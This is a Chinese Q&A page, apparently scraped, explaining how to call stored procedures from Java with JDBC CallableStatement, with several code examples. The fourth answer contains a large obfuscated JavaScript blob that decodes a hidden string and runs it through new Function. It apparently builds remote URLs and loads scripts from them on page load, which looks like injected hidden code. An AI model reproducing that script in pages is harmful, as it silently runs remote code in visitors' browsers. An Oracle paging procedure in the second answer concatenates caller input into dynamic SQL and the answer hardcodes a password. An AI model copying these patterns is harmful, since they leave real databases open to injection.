java中怎么用存储过程啊?

2025-03-07 08:36:03
推荐回答(4个)
回答1:

对已储存过程的调用是CallableStatement对象所含的内容。这种调用是用一种换码语法来写的,有两种形式:一种形式带结果参,另一种形式不带结果参数。结果参数是一种输出(OUT)参数,是已储存过程的返回值。两种形式都可带有数量可变的输入(IN参数)、输出(OUT参数)或输入和输出(INOUT参数)的参数。问号将用作参数的占位符。在JDBC中调用已储存过程的语法如下所示。注意,方括号表示其间的内容是可选项;方括号本身并非语法的组成部份。 {call过程名[(?,?,...)]} 返回结果参数的过程的语法为: {?=call过程名[(?,?,...)]} 不带参数的已储存过程的语法类似: {call过程名} 通常,创建CallableStatement对象的人应当知道所用的DBMS是支持已储存过程的,并且知道这些过程都是些什么。然而,如果需要检查,多种DatabaseMetaData方法都可以提供这样的信息。例如,如果DBMS支持已储存过程的调用,则supportsStoredProcedures方法将返回true,而getProcedures方法将返回对已储存过程的描述。 CallableStatement继承Statement的方法(它们用于处理一般的SQL语句),还继承了PreparedStatement的方法(它们用于处理IN参)。 CallableStatement中定义的所有方法都用于处理OUT参数或INOUT参数的输出部分:注册OUT参数的JDBC类型(一般SQL类型)、从这些参数中检索结果,或者检查所返回的值是否为JDBCNULL。 JDBC存储过程1、创建CallableStatement对象 CallableStatement对象是用Connection方法prepareCall创建的。下例创建CallableStatement的实例,其中含有对已储存过程getTestData调用。该过程有两个变量,但不含结果参数:CallableStatementc stmt=con.prepareCall("{callgetTestData(?,?)}");其中?占位符为IN、OUT还是INOUT参数,取决于已储存过程getTestData。 JDBC存储过程2、IN和OUT参数 将IN参数传给CallableStatement对象是通过setXXX方法完成的。该方法继承自PreparedStatement。所传入参数的类型决定了所用的setXXX方法(例如,用setFloat来传入float值等)。如果已储存过程返回OUT参数,则在执行CallableStatement对象以前必须先注册每个OUT参数的JDBC类型(这是必需的,因为某些DBMS要求JDBC类型)。注册JDBC类型是用registerOutParameter方法来完成的。语句执行完后,CallableStatement的getXXX方法将取回参数值。正确的getXXX方法是为各参数所注册的JDBC类型所对应的Java类型。换言之,registerOutParameter使用的是JDBC类型(因此它与数据库返回的JDBC类型匹配),而getXXX将之转换为Java类型。 作为示例,下述代码先注册OUT参数,执行由cstmt所调用的已储存过程,然后检索在OUT参数中返回的值。方法getByte从第一个OUT参数中取出一个Java字节,而getBigDecimal从第二个OUT参数中取出一个BigDecimal对象(小数点后面带三位数): CallableStatementc stmt=con.prepareCall("{callgetTestData(?,?)}"); cstmt.registerOutParameter(1,java.sql.Types.TINYINT); cstmt.registerOutParameter(2,java.sql.Types.DECIMAL,3); cstmt.executeQuery(); byte x=cstmt.getByte(1); java.math.BigDecimaln=cstmt.getBigDecimal(2,3); CallableStatement与ResultSet不同,它不提供用增量方式检索大OUT值的特殊机制。JDBC存储过程3、INOUT参数 既支持输入又接受输出的参数(INOUT参数)除了调用registerOutParameter方法外,还要求调用适当的setXXX方法(该方法是从PreparedStatement继承来的)。setXXX方法将参数值设置为输入参数,而registerOutParameter方法将它的JDBC类型注册为输出参数。setXXX方法提供一个Java值,而驱动程序先把这个值转换为JDBC值,然后将它送到数据库中。这种IN值的JDBC类型和提供给registerOutParameter方法的JDBC类型应该相同。然后,要检索输出值,就要用对应的getXXX方法。例如,Java类型为byte的参数应该使用方法setByte来赋输入值。应该给registerOutParameter提供类型为TINYINT的JDBC类型,同时应使用getByte来检索输出值。 下例假设有一个已储存过程reviseTotal,其唯一参数是INOUT参数。方法setByte把此参数设为25,驱动程序将把它作为JDBCTINYINT类型送到数据库中。接着,registerOutParameter将该参数注册为JDBCTINYINT。执行完该已储存过程后,将返回一个新的JDBCTINYINT值。方法getByte将把这个新值作为Javabyte类型检索。 CallableStatementc stmt=con.prepareCall("{callreviseTotal(?)}"); cstmt.setByte(1,25); cstmt.registerOutParameter(1,java.sql.Types.TINYINT); cstmt.executeUpdate(); byte x=cstmt.getByte(1); 1)返回一个结果集(ResultSet)。2)返回一个特定的值。 下面来详细的说明。 1)返回一个结果集(ResultSet),这种类似通常的处理结果集    如果事先就有一个类似如下的procedure CREATE PROCEDURE getShipQuantity @jsid int ASSELECT jf_js_id,SUM(jf_ship_quantity) AS shipqty FROM tjobsheet_finish f WHERE (jf_js_id=@jsid)GROUP BY jf_js_id 那么我们将通过如下的代码来调用   String sql = "{ call getShipQuantity(?) }";Connection con = conn.connection();ResultSet rs = null;BigDecimal shipQuantity = new BigDecimal(0);try{ CallableStatement cs = con.prepareCall(sql); cs.setInt(1,jsoId);//设置输入参数 rs = cs.executeQuery();//返回结果集 if(rs.next()){ shipQuantity = new BigDecimal(rs.getDouble(2)); } logger.debug("shipQuantity --------------------- "+shipQuantity);}catch(Exception e){ logger.debug(e);}2)返回一个特定的值。也就是说,在procedure的定义中已经用output输出参数了。请看下面的proceduercreate procedure getSingleWgt @@singleWgt numeric(8,3) output,@jsnum varchar(11) = '0000-0480'asdeclare @stwgt numeric(8,3)select @stwgt = sum(b.stwgt)from js as ainner join jsactdtl as b on a.jsnum = b.jsnumwhere a.completion = 1 and b.stflag = 22and a.jsnum = @jsnumselect @@singleWgt = (@stwgt/orderedqty) from js where jsnum = @jsnum那么我们将通过如下的代码来调用String sql = "{ call getSingleWgt(?,?) }";Connection con = getSession().connection();//得到connectiontry{ CallableStatement cs = con.prepareCall(sql);//通过它来执行sql cs.registerOutParameter(1,java.sql.Types.FLOAT);//注册输出参数 cs.setString(2,shipment.getJsnum());//指出输入参数 if(cs.execute()){//执行 float output = cs.getFloat(1);//返回值 }}catch(Exception e){logger.debug(e);}

回答2:

创建存储过程 create or replace procedure p_find_emp(i_emp_id in tb_employee.emp_id%type) is v_str_emp_name tb_employee.emp_name%type; begin select emp_name into v_str_emp_name from tb_employee where emp_id=i_emp_id; dbms_output.put_line('该雇员名字叫:'||v_str_emp_name); end p_find_emp; oracle 分页 --创建游标 create or replace package pkg_query is type cur_result_type is ref cursor;--游标的类型 end pkg_query; create or replace procedure p_query_page( str_page_action in varchar2, ---分页动作,可以使上一页:previous_page,下一页:next_page, ----首页:first_page,尾页:last_page,指定页:page_number str_query_table in varchar2, -----需要查询的表,可以以单表或通过连接出来的虚拟表 str_query_condition in varchar2,-----分页的查询条件 str_result_col in varchar2,-----需要输出的字段名 str_order_condition in varchar2,-----查询的排序条件 str_order_style in varchar2,-----排序的风格,升序或降序 i_page_size in out number,-------每页显示的数据条数 i_current_page in out number, ----当前页索引 i_total_record out number,-----当前符合条件的总记录条数 i_total_page out number,-----当前符合条件的总页数 cur_query_result out pkg_query.cur_result_type------查询的结果 ) is v_str_query_sql varchar2(10000):='';-----查询的sql语句 v_i_start_record number(10):=0;----起始记录位置 v_i_end_record number(10):=0;----终止记录的位置begin -------检验指定需要查询的表的参数是否为空 if(str_query_table is null or str_query_table = '') then raise_application_error(-20001,'需要查询的表不能为空'); end if; v_str_query_sql:='select count(*) from '||str_query_table; ------当查询的条件不为空时,将相应的查询条件拼接到sql中 if(str_query_condition is not null and str_query_condition <> '')then v_str_query_sql:=v_str_query_sql||'where '||str_query_condition; end if; -----PL/Sq 动态调用sql execute immediate v_str_query_sql into i_total_record; --------检测每页数据量,如果小于等于零,把每页数据量设为默认值10; if ( i_page_size <= 0 )then i_page_size := 10; end if; ------求当前符合条件的信息的总页数 if mod(i_total_record,i_page_size)=0 then i_total_page := (i_total_record/i_page_size); else i_total_page := trunc(i_total_record/i_page_size)+1; end if; ------根据当前的分页动作转换当前页索引 case str_page_action when 'first_page' then i_current_page := 1; when 'last_page' then i_current_page := i_total_page; when 'previous_page' then i_current_page := i_current_page-1; when 'next_page' then i_current_page := i_current_page+1; when 'page_number' then i_current_page := i_current_page; else i_current_page := 1; end case; ------求起始记录的索引位置和终止记录的索引位置 v_i_start_record := (i_current_page-1)*i_page_size+1; v_i_end_record := i_current_page*i_page_size; -----根据以上结果拼接sql语句。 v_str_query_sql:='select '; if (str_result_col is null or str_result_col='') then raise_application_error(-20002,'需要输出的字段不能为空'); end if; v_str_query_sql:=v_str_query_sql||str_result_col||' from '||str_query_table||' where 1=1 '; ------当查询条件不为空时,把相应的查询条件拼接到sql语句中 if (str_query_condition is not null and str_query_condition <> '') then v_str_query_sql:=v_str_query_sql||str_query_condition; end if; ----当查询的条件不等于空,将查询条件拼接到sql中 if (str_order_condition is not null and str_order_condition <> '') then v_str_query_sql:=v_str_query_sql||' order by '||str_order_condition; if str_order_style is not null and str_order_style <> '' then v_str_query_sql:=v_str_query_sql||' '||str_order_style; end if; end if; v_str_query_sql:='select * from ( select A.*,rownum rn from ( '||v_str_query_sql ||' ) A where rownum <='||v_i_end_record||' ) B where rn >= '||v_i_start_record; dbms_output.put_line(v_str_query_sql); open cur_query_result for v_str_query_sql; end p_query_page; ok 现在看下怎么样调用上面的存储过程package com.softeem.dbc;import java.sql.CallableStatement;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;import oracle.jdbc.driver.OracleTypes;public class DBConnection { private final static String DRIVER_CLASS = "oracle.jdbc.driver.OracleDriver"; private final static String URL = "jdbc:oracle:thin:@127.0.0.1:1521:orcl"; private final static String USER_NAME = "tangzheng"; private final static String PASSWORD = "123456"; public static Connection getconnection() { Connection conn = null;
try {
Class.forName(DRIVER_CLASS);
} catch (ClassNotFoundException e) {
System.out.println("驱动加载失败"); e.printStackTrace();
} try {
conn = DriverManager.getConnection(URL, USER_NAME, PASSWORD);
} catch (SQLException e) {
System.out.println("获取连接失败");
e.printStackTrace();
} return conn; } public PageDTO findOnePage(String pageAction, int pagesize, int currentPage)
throws SQLException { String table = "tb_employee emp";
String queryCondition = "emp.emp_id<15";
String resultcol = "*";
String orderCondition = "emp.emp_id";
String orderstyle = "asc";
Connection conn = getconnection();
PageDTO pageinfo = null;
try { CallableStatement cs = conn
.prepareCall("{call p_query_page(?,?,?,?,?,?,?,?,?,?,?)}");
cs.setString(1, pageAction);
cs.setString(2, table);
cs.setString(3, queryCondition);
cs.setString(4, resultcol);
cs.setString(5, orderCondition);
cs.setString(6, orderstyle);
cs.setInt(7, pagesize);
cs.setInt(8, currentPage); cs.registerOutParameter(7, OracleTypes.INTEGER);
cs.registerOutParameter(8, OracleTypes.INTEGER);
cs.registerOutParameter(9, OracleTypes.INTEGER);
cs.registerOutParameter(10, OracleTypes.INTEGER);
cs.registerOutParameter(11, OracleTypes.CURSOR); cs.execute(); pageinfo = new PageDTO(); pageinfo.setCurrentPage(cs.getInt(7));
pageinfo.setCurrentPage(cs.getInt(8));
pageinfo.setTotalRecord(cs.getInt(9));
pageinfo.setTotalPage(cs.getInt(10)); ResultSet rs = (ResultSet) cs.getObject(11); List employees = new ArrayList(); EmployeeDTO employee = null;
while (rs.next()) { employee = new EmployeeDTO(); employee.setEmpId(rs.getInt("emp_id")); employee.setEmpName(rs.getString("emp_name")); employee.setSex(rs.getString("sex")); employee.setSal(rs.getDouble("sal")); employees.add(employee); }
pageinfo.setResult(employees); } finally { if (conn != null && !conn.isClosed()) { conn.close(); } }
return pageinfo; } public static void main(String[] args) { String pageAction = "nextPage";
int pagesize = 5; int currentpage = 2;
DBConnection db = new DBConnection(); try {
PageDTO pageinfo = db
.findOnePage(pageAction, pagesize, currentpage); List list = pageinfo.getResult(); System.out.println("总页数:" + pageinfo.getCurrentPage());
System.out.println("总记录数:" + pageinfo.getTotalRecord());
for (int i = 0; i < list.size(); i++) { System.out.println(list.get(i).toString());
}
} catch (SQLException e) {
e.printStackTrace();
}
}}

回答3:

我这有个例子,你看看吧 public int gasFeeSave(String customerId,String TNJT_RQGWatchNo,
String TNRD_RQGFCostType,String TNRD_RQGFPayDate,String TNRD_RQGFPayType,
String TNRD_RQGFInvoiceType,String TNRD_RQGFInvoiceNo,String TNJT_RQPriceType,
String TNJT_RQGFFeeAddr,String LateFee,String LateFeeYS,String SurchargeMon,
String TNJT_RQGFPayAmount,String TNJT_RQGCCode,String TNRD_RQDes,
String TNRD_RQOper,String ISFree,String TNJT_RQGCCurrentlyNum)
{
int res=0;
StringBuffer Sql=new StringBuffer();
Connecter conn=new Connecter();
com.grs.util.AutoKey autokey=null;
String keyCode=null;
String TNJT_RQFCode=null;
if("".equals(LateFee)){
LateFee="0";
}
if("".equals(LateFeeYS)){
LateFeeYS="0";
}
if("".equals(SurchargeMon)){
SurchargeMon="0";
}
if("".equals(TNJT_RQGFPayAmount)){
TNJT_RQGFPayAmount="0";
}
try{
autokey=new com.grs.util.AutoKey();
keyCode=autokey.getCode("TNJT_RQGasFee");
TNJT_RQFCode=autokey.getCode("TNJT_RQFines");
sql="{call TNJT_GASFEESAVE_P(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)}";
CallableStatement cstmt=conn.conn.prepareCall(sql);
cstmt.setString(1,keyCode);
cstmt.setString(2,TNJT_RQFCode);
cstmt.setString(3,customerId);
cstmt.setString(4,TNJT_RQGWatchNo);
cstmt.setString(5,TNRD_RQGFCostType);
cstmt.setString(6,TNRD_RQGFPayDate);
cstmt.setString(7,TNRD_RQGFPayType);
cstmt.setString(8,TNRD_RQGFInvoiceType);
cstmt.setString(9,TNRD_RQGFInvoiceNo);
cstmt.setString(10,TNJT_RQPriceType);
cstmt.setString(11,TNJT_RQGFFeeAddr);
cstmt.setDouble(12,Double.parseDouble(LateFee));
cstmt.setDouble(13,Double.parseDouble(LateFeeYS));
cstmt.setDouble(14,Double.parseDouble(SurchargeMon));
cstmt.setDouble(15,Double.parseDouble(TNJT_RQGFPayAmount));
cstmt.setString(16,TNJT_RQGCCode);
cstmt.setString(17,TNRD_RQDes);
cstmt.setString(18,TNRD_RQOper);
cstmt.setString(19,ISFree);
cstmt.setInt(20,Integer.parseInt(TNJT_RQGCCurrentlyNum));
cstmt.registerOutParameter(21,java.sql.Types.INTEGER);
cstmt.execute();
res=cstmt.getInt(21);
System.out.println(format.format(date)+"==gasFeeSave==存储过程==="+sql);
}catch(Exception e){
e.printStackTrace();
}finally{
autokey.closeconn();
conn.closeconn();
}
return res;
}

回答4:

CallableStatement

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();